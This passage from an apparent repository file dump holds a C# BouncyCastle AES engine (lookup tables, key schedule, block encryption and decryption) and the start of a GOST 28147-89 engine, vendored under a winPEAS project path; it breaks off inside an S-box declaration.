0x60202040,\n            0x1ffcfce3, 0xc8b1b179, 0xed5b5bb6, 0xbe6a6ad4, 0x46cbcb8d,\n            0xd9bebe67, 0x4b393972, 0xde4a4a94, 0xd44c4c98, 0xe85858b0,\n            0x4acfcf85, 0x6bd0d0bb, 0x2aefefc5, 0xe5aaaa4f, 0x16fbfbed,\n            0xc5434386, 0xd74d4d9a, 0x55333366, 0x94858511, 0xcf45458a,\n            0x10f9f9e9, 0x06020204, 0x817f7ffe, 0xf05050a0, 0x443c3c78,\n            0xba9f9f25, 0xe3a8a84b, 0xf35151a2, 0xfea3a35d, 0xc0404080,\n            0x8a8f8f05, 0xad92923f, 0xbc9d9d21, 0x48383870, 0x04f5f5f1,\n            0xdfbcbc63, 0xc1b6b677, 0x75dadaaf, 0x63212142, 0x30101020,\n            0x1affffe5, 0x0ef3f3fd, 0x6dd2d2bf, 0x4ccdcd81, 0x140c0c18,\n            0x35131326, 0x2fececc3, 0xe15f5fbe, 0xa2979735, 0xcc444488,\n            0x3917172e, 0x57c4c493, 0xf2a7a755, 0x827e7efc, 0x473d3d7a,\n            0xac6464c8, 0xe75d5dba, 0x2b191932, 0x957373e6, 0xa06060c0,\n            0x98818119, 0xd14f4f9e, 0x7fdcdca3, 0x66222244, 0x7e2a2a54,\n            0xab90903b, 0x8388880b, 0xca46468c, 0x29eeeec7, 0xd3b8b86b,\n            0x3c141428, 0x79dedea7, 0xe25e5ebc, 0x1d0b0b16, 0x76dbdbad,\n            0x3be0e0db, 0x56323264, 0x4e3a3a74, 0x1e0a0a14, 0xdb494992,\n            0x0a06060c, 0x6c242448, 0xe45c5cb8, 0x5dc2c29f, 0x6ed3d3bd,\n            0xefacac43, 0xa66262c4, 0xa8919139, 0xa4959531, 0x37e4e4d3,\n            0x8b7979f2, 0x32e7e7d5, 0x43c8c88b, 0x5937376e, 0xb76d6dda,\n            0x8c8d8d01, 0x64d5d5b1, 0xd24e4e9c, 0xe0a9a949, 0xb46c6cd8,\n            0xfa5656ac, 0x07f4f4f3, 0x25eaeacf, 0xaf6565ca, 0x8e7a7af4,\n            0xe9aeae47, 0x18080810, 0xd5baba6f, 0x887878f0, 0x6f25254a,\n            0x722e2e5c, 0x241c1c38, 0xf1a6a657, 0xc7b4b473, 0x51c6c697,\n            0x23e8e8cb, 0x7cdddda1, 0x9c7474e8, 0x211f1f3e, 0xdd4b4b96,\n            0xdcbdbd61, 0x868b8b0d, 0x858a8a0f, 0x907070e0, 0x423e3e7c,\n            0xc4b5b571, 0xaa6666cc, 0xd8484890, 0x05030306, 0x01f6f6f7,\n            0x120e0e1c, 0xa36161c2, 0x5f35356a, 0xf95757ae, 0xd0b9b969,\n            0x91868617, 0x58c1c199, 0x271d1d3a, 0xb99e9e27, 0x38e1e1d9,\n            0x13f8f8eb, 0xb398982b, 0x33111122, 0xbb6969d2, 0x70d9d9a9,\n            0x898e8e07, 0xa7949433, 0xb69b9b2d, 0x221e1e3c, 0x92878715,\n            0x20e9e9c9, 0x49cece87, 0xff5555aa, 0x78282850, 0x7adfdfa5,\n            0x8f8c8c03, 0xf8a1a159, 0x80898909, 0x170d0d1a, 0xdabfbf65,\n            0x31e6e6d7, 0xc6424284, 0xb86868d0, 0xc3414182, 0xb0999929,\n            0x772d2d5a, 0x110f0f1e, 0xcbb0b07b, 0xfc5454a8, 0xd6bbbb6d,\n            0x3a16162c\n        };\n\n        private static readonly uint[] Tinv0 =\n        {\n            0x50a7f451, 0x5365417e, 0xc3a4171a, 0x965e273a, 0xcb6bab3b,\n            0xf1459d1f, 0xab58faac, 0x9303e34b, 0x55fa3020, 0xf66d76ad,\n            0x9176cc88, 0x254c02f5, 0xfcd7e54f, 0xd7cb2ac5, 0x80443526,\n            0x8fa362b5, 0x495ab1de, 0x671bba25, 0x980eea45, 0xe1c0fe5d,\n            0x02752fc3, 0x12f04c81, 0xa397468d, 0xc6f9d36b, 0xe75f8f03,\n            0x959c9215, 0xeb7a6dbf, 0xda595295, 0x2d83bed4, 0xd3217458,\n            0x2969e049, 0x44c8c98e, 0x6a89c275, 0x78798ef4, 0x6b3e5899,\n            0xdd71b927, 0xb64fe1be, 0x17ad88f0, 0x66ac20c9, 0xb43ace7d,\n            0x184adf63, 0x82311ae5, 0x60335197, 0x457f5362, 0xe07764b1,\n            0x84ae6bbb, 0x1ca081fe, 0x942b08f9, 0x58684870, 0x19fd458f,\n            0x876cde94, 0xb7f87b52, 0x23d373ab, 0xe2024b72, 0x578f1fe3,\n            0x2aab5566, 0x0728ebb2, 0x03c2b52f, 0x9a7bc586, 0xa50837d3,\n            0xf2872830, 0xb2a5bf23, 0xba6a0302, 0x5c8216ed, 0x2b1ccf8a,\n            0x92b479a7, 0xf0f207f3, 0xa1e2694e, 0xcdf4da65, 0xd5be0506,\n            0x1f6234d1, 0x8afea6c4, 0x9d532e34, 0xa055f3a2, 0x32e18a05,\n            0x75ebf6a4, 0x39ec830b, 0xaaef6040, 0x069f715e, 0x51106ebd,\n            0xf98a213e, 0x3d06dd96, 0xae053edd, 0x46bde64d, 0xb58d5491,\n            0x055dc471, 0x6fd40604, 0xff155060, 0x24fb9819, 0x97e9bdd6,\n            0xcc434089, 0x779ed967, 0xbd42e8b0, 0x888b8907, 0x385b19e7,\n            0xdbeec879, 0x470a7ca1, 0xe90f427c, 0xc91e84f8, 0x00000000,\n            0x83868009, 0x48ed2b32, 0xac70111e, 0x4e725a6c, 0xfbff0efd,\n            0x5638850f, 0x1ed5ae3d, 0x27392d36, 0x64d90f0a, 0x21a65c68,\n            0xd1545b9b, 0x3a2e3624, 0xb1670a0c, 0x0fe75793, 0xd296eeb4,\n            0x9e919b1b, 0x4fc5c080, 0xa220dc61, 0x694b775a, 0x161a121c,\n            0x0aba93e2, 0xe52aa0c0, 0x43e0223c, 0x1d171b12, 0x0b0d090e,\n            0xadc78bf2, 0xb9a8b62d, 0xc8a91e14, 0x8519f157, 0x4c0775af,\n            0xbbdd99ee, 0xfd607fa3, 0x9f2601f7, 0xbcf5725c, 0xc53b6644,\n            0x347efb5b, 0x7629438b, 0xdcc623cb, 0x68fcedb6, 0x63f1e4b8,\n            0xcadc31d7, 0x10856342, 0x40229713, 0x2011c684, 0x7d244a85,\n            0xf83dbbd2, 0x1132f9ae, 0x6da129c7, 0x4b2f9e1d, 0xf330b2dc,\n            0xec52860d, 0xd0e3c177, 0x6c16b32b, 0x99b970a9, 0xfa489411,\n            0x2264e947, 0xc48cfca8, 0x1a3ff0a0, 0xd82c7d56, 0xef903322,\n            0xc74e4987, 0xc1d138d9, 0xfea2ca8c, 0x360bd498, 0xcf81f5a6,\n            0x28de7aa5, 0x268eb7da, 0xa4bfad3f, 0xe49d3a2c, 0x0d927850,\n            0x9bcc5f6a, 0x62467e54, 0xc2138df6, 0xe8b8d890, 0x5ef7392e,\n            0xf5afc382, 0xbe805d9f, 0x7c93d069, 0xa92dd56f, 0xb31225cf,\n            0x3b99acc8, 0xa77d1810, 0x6e639ce8, 0x7bbb3bdb, 0x097826cd,\n            0xf418596e, 0x01b79aec, 0xa89a4f83, 0x656e95e6, 0x7ee6ffaa,\n            0x08cfbc21, 0xe6e815ef, 0xd99be7ba, 0xce366f4a, 0xd4099fea,\n            0xd67cb029, 0xafb2a431, 0x31233f2a, 0x3094a5c6, 0xc066a235,\n            0x37bc4e74, 0xa6ca82fc, 0xb0d090e0, 0x15d8a733, 0x4a9804f1,\n            0xf7daec41, 0x0e50cd7f, 0x2ff69117, 0x8dd64d76, 0x4db0ef43,\n            0x544daacc, 0xdf0496e4, 0xe3b5d19e, 0x1b886a4c, 0xb81f2cc1,\n            0x7f516546, 0x04ea5e9d, 0x5d358c01, 0x737487fa, 0x2e410bfb,\n            0x5a1d67b3, 0x52d2db92, 0x335610e9, 0x1347d66d, 0x8c61d79a,\n            0x7a0ca137, 0x8e14f859, 0x893c13eb, 0xee27a9ce, 0x35c961b7,\n            0xede51ce1, 0x3cb1477a, 0x59dfd29c, 0x3f73f255, 0x79ce1418,\n            0xbf37c773, 0xeacdf753, 0x5baafd5f, 0x146f3ddf, 0x86db4478,\n            0x81f3afca, 0x3ec468b9, 0x2c342438, 0x5f40a3c2, 0x72c31d16,\n            0x0c25e2bc, 0x8b493c28, 0x41950dff, 0x7101a839, 0xdeb30c08,\n            0x9ce4b4d8, 0x90c15664, 0x6184cb7b, 0x70b632d5, 0x745c6c48,\n            0x4257b8d0\n        };\n\n        private static uint Shift(uint r, int shift)\n        {\n            return (r >> shift) | (r << (32 - shift));\n        }\n\n        /* multiply four bytes in GF(2^8) by 'x' {02} in parallel */\n\n        private const uint m1 = 0x80808080;\n        private const uint m2 = 0x7f7f7f7f;\n        private const uint m3 = 0x0000001b;\n        private const uint m4 = 0xC0C0C0C0;\n        private const uint m5 = 0x3f3f3f3f;\n\n        private static uint FFmulX(uint x)\n        {\n            return ((x & m2) << 1) ^ (((x & m1) >> 7) * m3);\n        }\n\n        private static uint FFmulX2(uint x)\n        {\n            uint t0 = (x & m5) << 2;\n            uint t1 = (x & m4);\n            t1 ^= (t1 >> 1);\n            return t0 ^ (t1 >> 2) ^ (t1 >> 5);\n        }\n\n        /*\n        The following defines provide alternative definitions of FFmulX that might\n        give improved performance if a fast 32-bit multiply is not available.\n\n        private int FFmulX(int x) { int u = x & m1; u |= (u >> 1); return ((x & m2) << 1) ^ ((u >>> 3) | (u >>> 6)); }\n        private static final int  m4 = 0x1b1b1b1b;\n        private int FFmulX(int x) { int u = x & m1; return ((x & m2) << 1) ^ ((u - (u >>> 7)) & m4); }\n\n        */\n\n        private static uint Inv_Mcol(uint x)\n        {\n            uint t0, t1;\n            t0 = x;\n            t1 = t0 ^ Shift(t0, 8);\n            t0 ^= FFmulX(t1);\n            t1 ^= FFmulX2(t0);\n            t0 ^= t1 ^ Shift(t1, 16);\n            return t0;\n        }\n\n        private static uint SubWord(uint x)\n        {\n            return (uint)S[x & 255]\n                | (((uint)S[(x >> 8) & 255]) << 8)\n                | (((uint)S[(x >> 16) & 255]) << 16)\n                | (((uint)S[(x >> 24) & 255]) << 24);\n        }\n\n        /**\n        * Calculate the necessary round keys\n        * The number of calculations depends on key size and block size\n        * AES specified a fixed block size of 128 bits and key sizes 128/192/256 bits\n        * This code is written assuming those are the only possible values\n        */\n        private uint[][] GenerateWorkingKey(byte[] key, bool forEncryption)\n        {\n            int keyLen = key.Length;\n            if (keyLen < 16 || keyLen > 32 || (keyLen & 7) != 0)\n                throw new ArgumentException(\"Key length not 128/192/256 bits.\");\n\n            int KC = keyLen >> 2;\n            this.ROUNDS = KC + 6;  // This is not always true for the generalized Rijndael that allows larger block sizes\n\n            uint[][] W = new uint[ROUNDS + 1][]; // 4 words in a block\n            for (int i = 0; i <= ROUNDS; ++i)\n            {\n                W[i] = new uint[4];\n            }\n\n            switch (KC)\n            {\n                case 4:\n                    {\n                        uint t0 = Pack.LE_To_UInt32(key, 0); W[0][0] = t0;\n                        uint t1 = Pack.LE_To_UInt32(key, 4); W[0][1] = t1;\n                        uint t2 = Pack.LE_To_UInt32(key, 8); W[0][2] = t2;\n                        uint t3 = Pack.LE_To_UInt32(key, 12); W[0][3] = t3;\n\n                        for (int i = 1; i <= 10; ++i)\n                        {\n                            uint u = SubWord(Shift(t3, 8)) ^ rcon[i - 1];\n                            t0 ^= u; W[i][0] = t0;\n                            t1 ^= t0; W[i][1] = t1;\n                            t2 ^= t1; W[i][2] = t2;\n                            t3 ^= t2; W[i][3] = t3;\n                        }\n\n                        break;\n                    }\n                case 6:\n                    {\n                        uint t0 = Pack.LE_To_UInt32(key, 0); W[0][0] = t0;\n                        uint t1 = Pack.LE_To_UInt32(key, 4); W[0][1] = t1;\n                        uint t2 = Pack.LE_To_UInt32(key, 8); W[0][2] = t2;\n                        uint t3 = Pack.LE_To_UInt32(key, 12); W[0][3] = t3;\n                        uint t4 = Pack.LE_To_UInt32(key, 16); W[1][0] = t4;\n                        uint t5 = Pack.LE_To_UInt32(key, 20); W[1][1] = t5;\n\n                        uint rcon = 1;\n                        uint u = SubWord(Shift(t5, 8)) ^ rcon; rcon <<= 1;\n                        t0 ^= u; W[1][2] = t0;\n                        t1 ^= t0; W[1][3] = t1;\n                        t2 ^= t1; W[2][0] = t2;\n                        t3 ^= t2; W[2][1] = t3;\n                        t4 ^= t3; W[2][2] = t4;\n                        t5 ^= t4; W[2][3] = t5;\n\n                        for (int i = 3; i < 12; i += 3)\n                        {\n                            u = SubWord(Shift(t5, 8)) ^ rcon; rcon <<= 1;\n                            t0 ^= u; W[i][0] = t0;\n                            t1 ^= t0; W[i][1] = t1;\n                            t2 ^= t1; W[i][2] = t2;\n                            t3 ^= t2; W[i][3] = t3;\n                            t4 ^= t3; W[i + 1][0] = t4;\n                            t5 ^= t4; W[i + 1][1] = t5;\n                            u = SubWord(Shift(t5, 8)) ^ rcon; rcon <<= 1;\n                            t0 ^= u; W[i + 1][2] = t0;\n                            t1 ^= t0; W[i + 1][3] = t1;\n                            t2 ^= t1; W[i + 2][0] = t2;\n                            t3 ^= t2; W[i + 2][1] = t3;\n                            t4 ^= t3; W[i + 2][2] = t4;\n                            t5 ^= t4; W[i + 2][3] = t5;\n                        }\n\n                        u = SubWord(Shift(t5, 8)) ^ rcon;\n                        t0 ^= u; W[12][0] = t0;\n                        t1 ^= t0; W[12][1] = t1;\n                        t2 ^= t1; W[12][2] = t2;\n                        t3 ^= t2; W[12][3] = t3;\n\n                        break;\n                    }\n                case 8:\n                    {\n                        uint t0 = Pack.LE_To_UInt32(key, 0); W[0][0] = t0;\n                        uint t1 = Pack.LE_To_UInt32(key, 4); W[0][1] = t1;\n                        uint t2 = Pack.LE_To_UInt32(key, 8); W[0][2] = t2;\n                        uint t3 = Pack.LE_To_UInt32(key, 12); W[0][3] = t3;\n                        uint t4 = Pack.LE_To_UInt32(key, 16); W[1][0] = t4;\n                        uint t5 = Pack.LE_To_UInt32(key, 20); W[1][1] = t5;\n                        uint t6 = Pack.LE_To_UInt32(key, 24); W[1][2] = t6;\n                        uint t7 = Pack.LE_To_UInt32(key, 28); W[1][3] = t7;\n\n                        uint u, rcon = 1;\n\n                        for (int i = 2; i < 14; i += 2)\n                        {\n                            u = SubWord(Shift(t7, 8)) ^ rcon; rcon <<= 1;\n                            t0 ^= u; W[i][0] = t0;\n                            t1 ^= t0; W[i][1] = t1;\n                            t2 ^= t1; W[i][2] = t2;\n                            t3 ^= t2; W[i][3] = t3;\n                            u = SubWord(t3);\n                            t4 ^= u; W[i + 1][0] = t4;\n                            t5 ^= t4; W[i + 1][1] = t5;\n                            t6 ^= t5; W[i + 1][2] = t6;\n                            t7 ^= t6; W[i + 1][3] = t7;\n                        }\n\n                        u = SubWord(Shift(t7, 8)) ^ rcon;\n                        t0 ^= u; W[14][0] = t0;\n                        t1 ^= t0; W[14][1] = t1;\n                        t2 ^= t1; W[14][2] = t2;\n                        t3 ^= t2; W[14][3] = t3;\n\n                        break;\n                    }\n                default:\n                    {\n                        throw new InvalidOperationException(\"Should never get here\");\n                    }\n            }\n\n            if (!forEncryption)\n            {\n                for (int j = 1; j < ROUNDS; j++)\n                {\n                    uint[] w = W[j];\n                    for (int i = 0; i < 4; i++)\n                    {\n                        w[i] = Inv_Mcol(w[i]);\n                    }\n                }\n            }\n\n            return W;\n        }\n\n        private int ROUNDS;\n        private uint[][] WorkingKey;\n        private uint C0, C1, C2, C3;\n        private bool forEncryption;\n\n        private byte[] s;\n\n        private const int BLOCK_SIZE = 16;\n\n        /**\n        * default constructor - 128 bit block size.\n        */\n        public AesEngine()\n        {\n        }\n\n        /**\n        * initialise an AES cipher.\n        *\n        * @param forEncryption whether or not we are for encryption.\n        * @param parameters the parameters required to set up the cipher.\n        * @exception ArgumentException if the parameters argument is\n        * inappropriate.\n        */\n        public virtual void Init(\n            bool forEncryption,\n            ICipherParameters parameters)\n        {\n            KeyParameter keyParameter = parameters as KeyParameter;\n\n            if (keyParameter == null)\n                throw new ArgumentException(\"invalid parameter passed to AES init - \"\n                    + Platform.GetTypeName(parameters));\n\n            WorkingKey = GenerateWorkingKey(keyParameter.GetKey(), forEncryption);\n\n            this.forEncryption = forEncryption;\n            this.s = Arrays.Clone(forEncryption ? S : Si);\n        }\n\n        public virtual string AlgorithmName\n        {\n            get { return \"AES\"; }\n        }\n\n        public virtual bool IsPartialBlockOkay\n        {\n            get { return false; }\n        }\n\n        public virtual int GetBlockSize()\n        {\n            return BLOCK_SIZE;\n        }\n\n        public virtual int ProcessBlock(\n            byte[] input,\n            int inOff,\n            byte[] output,\n            int outOff)\n        {\n            if (WorkingKey == null)\n                throw new InvalidOperationException(\"AES engine not initialised\");\n\n            Check.DataLength(input, inOff, 16, \"input buffer too short\");\n            Check.OutputLength(output, outOff, 16, \"output buffer too short\");\n\n            UnPackBlock(input, inOff);\n\n            if (forEncryption)\n            {\n                EncryptBlock(WorkingKey);\n            }\n            else\n            {\n                DecryptBlock(WorkingKey);\n            }\n\n            PackBlock(output, outOff);\n\n            return BLOCK_SIZE;\n        }\n\n        public virtual void Reset()\n        {\n        }\n\n        private void UnPackBlock(\n            byte[] bytes,\n            int off)\n        {\n            C0 = Pack.LE_To_UInt32(bytes, off);\n            C1 = Pack.LE_To_UInt32(bytes, off + 4);\n            C2 = Pack.LE_To_UInt32(bytes, off + 8);\n            C3 = Pack.LE_To_UInt32(bytes, off + 12);\n        }\n\n        private void PackBlock(\n            byte[] bytes,\n            int off)\n        {\n            Pack.UInt32_To_LE(C0, bytes, off);\n            Pack.UInt32_To_LE(C1, bytes, off + 4);\n            Pack.UInt32_To_LE(C2, bytes, off + 8);\n            Pack.UInt32_To_LE(C3, bytes, off + 12);\n        }\n\n        private void EncryptBlock(uint[][] KW)\n        {\n            uint[] kw = KW[0];\n            uint t0 = this.C0 ^ kw[0];\n            uint t1 = this.C1 ^ kw[1];\n            uint t2 = this.C2 ^ kw[2];\n\n            uint r0, r1, r2, r3 = this.C3 ^ kw[3];\n            int r = 1;\n            while (r < ROUNDS - 1)\n            {\n                kw = KW[r++];\n                r0 = T0[t0 & 255] ^ Shift(T0[(t1 >> 8) & 255], 24) ^ Shift(T0[(t2 >> 16) & 255], 16) ^ Shift(T0[(r3 >> 24) & 255], 8) ^ kw[0];\n                r1 = T0[t1 & 255] ^ Shift(T0[(t2 >> 8) & 255], 24) ^ Shift(T0[(r3 >> 16) & 255], 16) ^ Shift(T0[(t0 >> 24) & 255], 8) ^ kw[1];\n                r2 = T0[t2 & 255] ^ Shift(T0[(r3 >> 8) & 255], 24) ^ Shift(T0[(t0 >> 16) & 255], 16) ^ Shift(T0[(t1 >> 24) & 255], 8) ^ kw[2];\n                r3 = T0[r3 & 255] ^ Shift(T0[(t0 >> 8) & 255], 24) ^ Shift(T0[(t1 >> 16) & 255], 16) ^ Shift(T0[(t2 >> 24) & 255], 8) ^ kw[3];\n                kw = KW[r++];\n                t0 = T0[r0 & 255] ^ Shift(T0[(r1 >> 8) & 255], 24) ^ Shift(T0[(r2 >> 16) & 255], 16) ^ Shift(T0[(r3 >> 24) & 255], 8) ^ kw[0];\n                t1 = T0[r1 & 255] ^ Shift(T0[(r2 >> 8) & 255], 24) ^ Shift(T0[(r3 >> 16) & 255], 16) ^ Shift(T0[(r0 >> 24) & 255], 8) ^ kw[1];\n                t2 = T0[r2 & 255] ^ Shift(T0[(r3 >> 8) & 255], 24) ^ Shift(T0[(r0 >> 16) & 255], 16) ^ Shift(T0[(r1 >> 24) & 255], 8) ^ kw[2];\n                r3 = T0[r3 & 255] ^ Shift(T0[(r0 >> 8) & 255], 24) ^ Shift(T0[(r1 >> 16) & 255], 16) ^ Shift(T0[(r2 >> 24) & 255], 8) ^ kw[3];\n            }\n\n            kw = KW[r++];\n            r0 = T0[t0 & 255] ^ Shift(T0[(t1 >> 8) & 255], 24) ^ Shift(T0[(t2 >> 16) & 255], 16) ^ Shift(T0[(r3 >> 24) & 255], 8) ^ kw[0];\n            r1 = T0[t1 & 255] ^ Shift(T0[(t2 >> 8) & 255], 24) ^ Shift(T0[(r3 >> 16) & 255], 16) ^ Shift(T0[(t0 >> 24) & 255], 8) ^ kw[1];\n            r2 = T0[t2 & 255] ^ Shift(T0[(r3 >> 8) & 255], 24) ^ Shift(T0[(t0 >> 16) & 255], 16) ^ Shift(T0[(t1 >> 24) & 255], 8) ^ kw[2];\n            r3 = T0[r3 & 255] ^ Shift(T0[(t0 >> 8) & 255], 24) ^ Shift(T0[(t1 >> 16) & 255], 16) ^ Shift(T0[(t2 >> 24) & 255], 8) ^ kw[3];\n\n            // the final round's table is a simple function of S so we don't use a whole other four tables for it\n\n            kw = KW[r];\n            this.C0 = (uint)S[r0 & 255] ^ (((uint)S[(r1 >> 8) & 255]) << 8) ^ (((uint)s[(r2 >> 16) & 255]) << 16) ^ (((uint)s[(r3 >> 24) & 255]) << 24) ^ kw[0];\n            this.C1 = (uint)s[r1 & 255] ^ (((uint)S[(r2 >> 8) & 255]) << 8) ^ (((uint)S[(r3 >> 16) & 255]) << 16) ^ (((uint)s[(r0 >> 24) & 255]) << 24) ^ kw[1];\n            this.C2 = (uint)s[r2 & 255] ^ (((uint)S[(r3 >> 8) & 255]) << 8) ^ (((uint)S[(r0 >> 16) & 255]) << 16) ^ (((uint)S[(r1 >> 24) & 255]) << 24) ^ kw[2];\n            this.C3 = (uint)s[r3 & 255] ^ (((uint)s[(r0 >> 8) & 255]) << 8) ^ (((uint)s[(r1 >> 16) & 255]) << 16) ^ (((uint)S[(r2 >> 24) & 255]) << 24) ^ kw[3];\n        }\n\n        private void DecryptBlock(uint[][] KW)\n        {\n            uint[] kw = KW[ROUNDS];\n            uint t0 = this.C0 ^ kw[0];\n            uint t1 = this.C1 ^ kw[1];\n            uint t2 = this.C2 ^ kw[2];\n\n            uint r0, r1, r2, r3 = this.C3 ^ kw[3];\n            int r = ROUNDS - 1;\n            while (r > 1)\n            {\n                kw = KW[r--];\n                r0 = Tinv0[t0 & 255] ^ Shift(Tinv0[(r3 >> 8) & 255], 24) ^ Shift(Tinv0[(t2 >> 16) & 255], 16) ^ Shift(Tinv0[(t1 >> 24) & 255], 8) ^ kw[0];\n                r1 = Tinv0[t1 & 255] ^ Shift(Tinv0[(t0 >> 8) & 255], 24) ^ Shift(Tinv0[(r3 >> 16) & 255], 16) ^ Shift(Tinv0[(t2 >> 24) & 255], 8) ^ kw[1];\n                r2 = Tinv0[t2 & 255] ^ Shift(Tinv0[(t1 >> 8) & 255], 24) ^ Shift(Tinv0[(t0 >> 16) & 255], 16) ^ Shift(Tinv0[(r3 >> 24) & 255], 8) ^ kw[2];\n                r3 = Tinv0[r3 & 255] ^ Shift(Tinv0[(t2 >> 8) & 255], 24) ^ Shift(Tinv0[(t1 >> 16) & 255], 16) ^ Shift(Tinv0[(t0 >> 24) & 255], 8) ^ kw[3];\n                kw = KW[r--];\n                t0 = Tinv0[r0 & 255] ^ Shift(Tinv0[(r3 >> 8) & 255], 24) ^ Shift(Tinv0[(r2 >> 16) & 255], 16) ^ Shift(Tinv0[(r1 >> 24) & 255], 8) ^ kw[0];\n                t1 = Tinv0[r1 & 255] ^ Shift(Tinv0[(r0 >> 8) & 255], 24) ^ Shift(Tinv0[(r3 >> 16) & 255], 16) ^ Shift(Tinv0[(r2 >> 24) & 255], 8) ^ kw[1];\n                t2 = Tinv0[r2 & 255] ^ Shift(Tinv0[(r1 >> 8) & 255], 24) ^ Shift(Tinv0[(r0 >> 16) & 255], 16) ^ Shift(Tinv0[(r3 >> 24) & 255], 8) ^ kw[2];\n                r3 = Tinv0[r3 & 255] ^ Shift(Tinv0[(r2 >> 8) & 255], 24) ^ Shift(Tinv0[(r1 >> 16) & 255], 16) ^ Shift(Tinv0[(r0 >> 24) & 255], 8) ^ kw[3];\n            }\n\n            kw = KW[1];\n            r0 = Tinv0[t0 & 255] ^ Shift(Tinv0[(r3 >> 8) & 255], 24) ^ Shift(Tinv0[(t2 >> 16) & 255], 16) ^ Shift(Tinv0[(t1 >> 24) & 255], 8) ^ kw[0];\n            r1 = Tinv0[t1 & 255] ^ Shift(Tinv0[(t0 >> 8) & 255], 24) ^ Shift(Tinv0[(r3 >> 16) & 255], 16) ^ Shift(Tinv0[(t2 >> 24) & 255], 8) ^ kw[1];\n            r2 = Tinv0[t2 & 255] ^ Shift(Tinv0[(t1 >> 8) & 255], 24) ^ Shift(Tinv0[(t0 >> 16) & 255], 16) ^ Shift(Tinv0[(r3 >> 24) & 255], 8) ^ kw[2];\n            r3 = Tinv0[r3 & 255] ^ Shift(Tinv0[(t2 >> 8) & 255], 24) ^ Shift(Tinv0[(t1 >> 16) & 255], 16) ^ Shift(Tinv0[(t0 >> 24) & 255], 8) ^ kw[3];\n\n            // the final round's table is a simple function of Si so we don't use a whole other four tables for it\n\n            kw = KW[0];\n            this.C0 = (uint)Si[r0 & 255] ^ (((uint)s[(r3 >> 8) & 255]) << 8) ^ (((uint)s[(r2 >> 16) & 255]) << 16) ^ (((uint)Si[(r1 >> 24) & 255]) << 24) ^ kw[0];\n            this.C1 = (uint)s[r1 & 255] ^ (((uint)s[(r0 >> 8) & 255]) << 8) ^ (((uint)Si[(r3 >> 16) & 255]) << 16) ^ (((uint)s[(r2 >> 24) & 255]) << 24) ^ kw[1];\n            this.C2 = (uint)s[r2 & 255] ^ (((uint)Si[(r1 >> 8) & 255]) << 8) ^ (((uint)Si[(r0 >> 16) & 255]) << 16) ^ (((uint)s[(r3 >> 24) & 255]) << 24) ^ kw[2];\n            this.C3 = (uint)Si[r3 & 255] ^ (((uint)s[(r2 >> 8) & 255]) << 8) ^ (((uint)s[(r1 >> 16) & 255]) << 16) ^ (((uint)s[(r0 >> 24) & 255]) << 24) ^ kw[3];\n        }\n    }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/BouncyCastle/crypto/engines/Gost28147Engine.cs",
    "content": "﻿using System;\nusing System.Collections;\nusing winPEAS._3rdParty.BouncyCastle.crypto.parameters;\nusing winPEAS._3rdParty.BouncyCastle.crypto.util;\n\nnamespace winPEAS._3rdParty.BouncyCastle.crypto.engines\n{\n\t/**\n\t * implementation of GOST 28147-89\n\t */\n\tpublic class Gost28147Engine\n\t\t: IBlockCipher\n\t{\n\t\tprivate const int BlockSize = 8;\n\t\tprivate int[] workingKey = null;\n\t\tprivate bool forEncryption;\n\n\t\tprivate byte[] S = Sbox_Default;\n\n\t\t// these are the S-boxes given in Applied Cryptography 2nd Ed., p. 333\n\t\t// This is default S-box!\n\t\tprivate static readonly byte[] Sbox_Default = {\n\t\t\t0x4,0xA,0x9,0x2,0xD,0x8,0x0,0xE,0x6,0xB,0x1,0xC,0x7,0xF,0x5,0x3,\n\t\t\t0xE,0xB,0x4,0xC,0x6,0xD,0xF,0xA,0x2,0x3,0x8,0x1,0x0,0x7,0x5,0x9,\n\t\t\t0x5,0x8,0x1,0xD,0xA,0x3,0x4,0x2,0xE,0xF,0xC,0x7,0x6,0x0,0x9,0xB,\n\t\t\t0x7,0xD,0xA,0x1,0x0,0x8,0x9,0xF,0xE,0x4,0x6,0xC,0xB,0x2,0x5,0x3,\n\t\t\t0x6,0xC,0x7,0x1,0x5,0xF,0xD,0x8,0x4,0xA,0x9,0xE,0x0,0x3,0xB,0x2,\n\t\t\t0x4,0xB,0xA,0x0,0x7,0x2,0x1,0xD,0x3,0x6,0x8,0x5,0x9,0xC,0xF,0xE,\n\t\t\t0xD,0xB,0x4,0x1,0x3,0xF,0x5,0x9,0x0,0xA,0xE,0x7,0x6,0x8,0x2,0xC,\n\t\t\t0x1,0xF,0xD,0x0,0x5,0x7,0xA,0x4,0x9,0x2,0x3,0xE,0x6,0xB,0x8,0xC\n\t\t};\n\n\t\t/*\n\t\t * class content S-box parameters for encrypting\n\t\t * getting from, see: http://tools.ietf.org/id/draft-popov-cryptopro-cpalgs-01.txt\n\t\t *                    http://tools.ietf.org/id/draft-popov-cryptopro-cpalgs-02.txt\n\t\t */\n\t\tprivate static readonly byte[] ESbox_Test = {\n\t\t\t0x4,0x2,0xF,0x5,0x9,0x1,0x0,0x8,0xE,0x3,0xB,0xC,0xD,0x7,0xA,0x6,\n\t\t\t0xC,0x9,0xF,0xE,0x8,0x1,0x3,0xA,0x2,0x7,0x4,0xD,0x6,0x0,0xB,0x5,\n\t\t\t0xD,0x8,0xE,0xC,0x7,0x3,0x9,0xA,0x1,0x5,0x2,0x4,0x6,0xF,0x0,0xB,\n\t\t\t0xE,0x9,0xB,0x2,0x5,0xF,0x7,0x1,0x0,0xD,0xC,0x6,0xA,0x4,0x3,0x8,\n\t\t\t0x3,0xE,0x5,0x9,0x6,0x8,0x0,0xD,0xA,0xB,0x7,0xC,0x2,0x1,0xF,0x4,\n\t\t\t0x8,0xF,0x6,0xB,0x1,0x9,0xC,0x5,0xD,0x3,0x7,0xA,0x0,0xE,0x2,0x4,\n\t\t\t0x9,0xB,0xC,0x0,0x3,0x6,0x7,0x5,0x4,0x8,0xE,0xF,0x1,0xA,0x2,0xD,\n\t\t\t0xC,0x6,0x5,0x2,0xB,0x0,0x9,0xD,0x3,0xE,0x7,0xA,0xF,0x4,0x1,0x8\n\t\t};\n\n\t\tprivate static readonly byte[] ESbox_A = 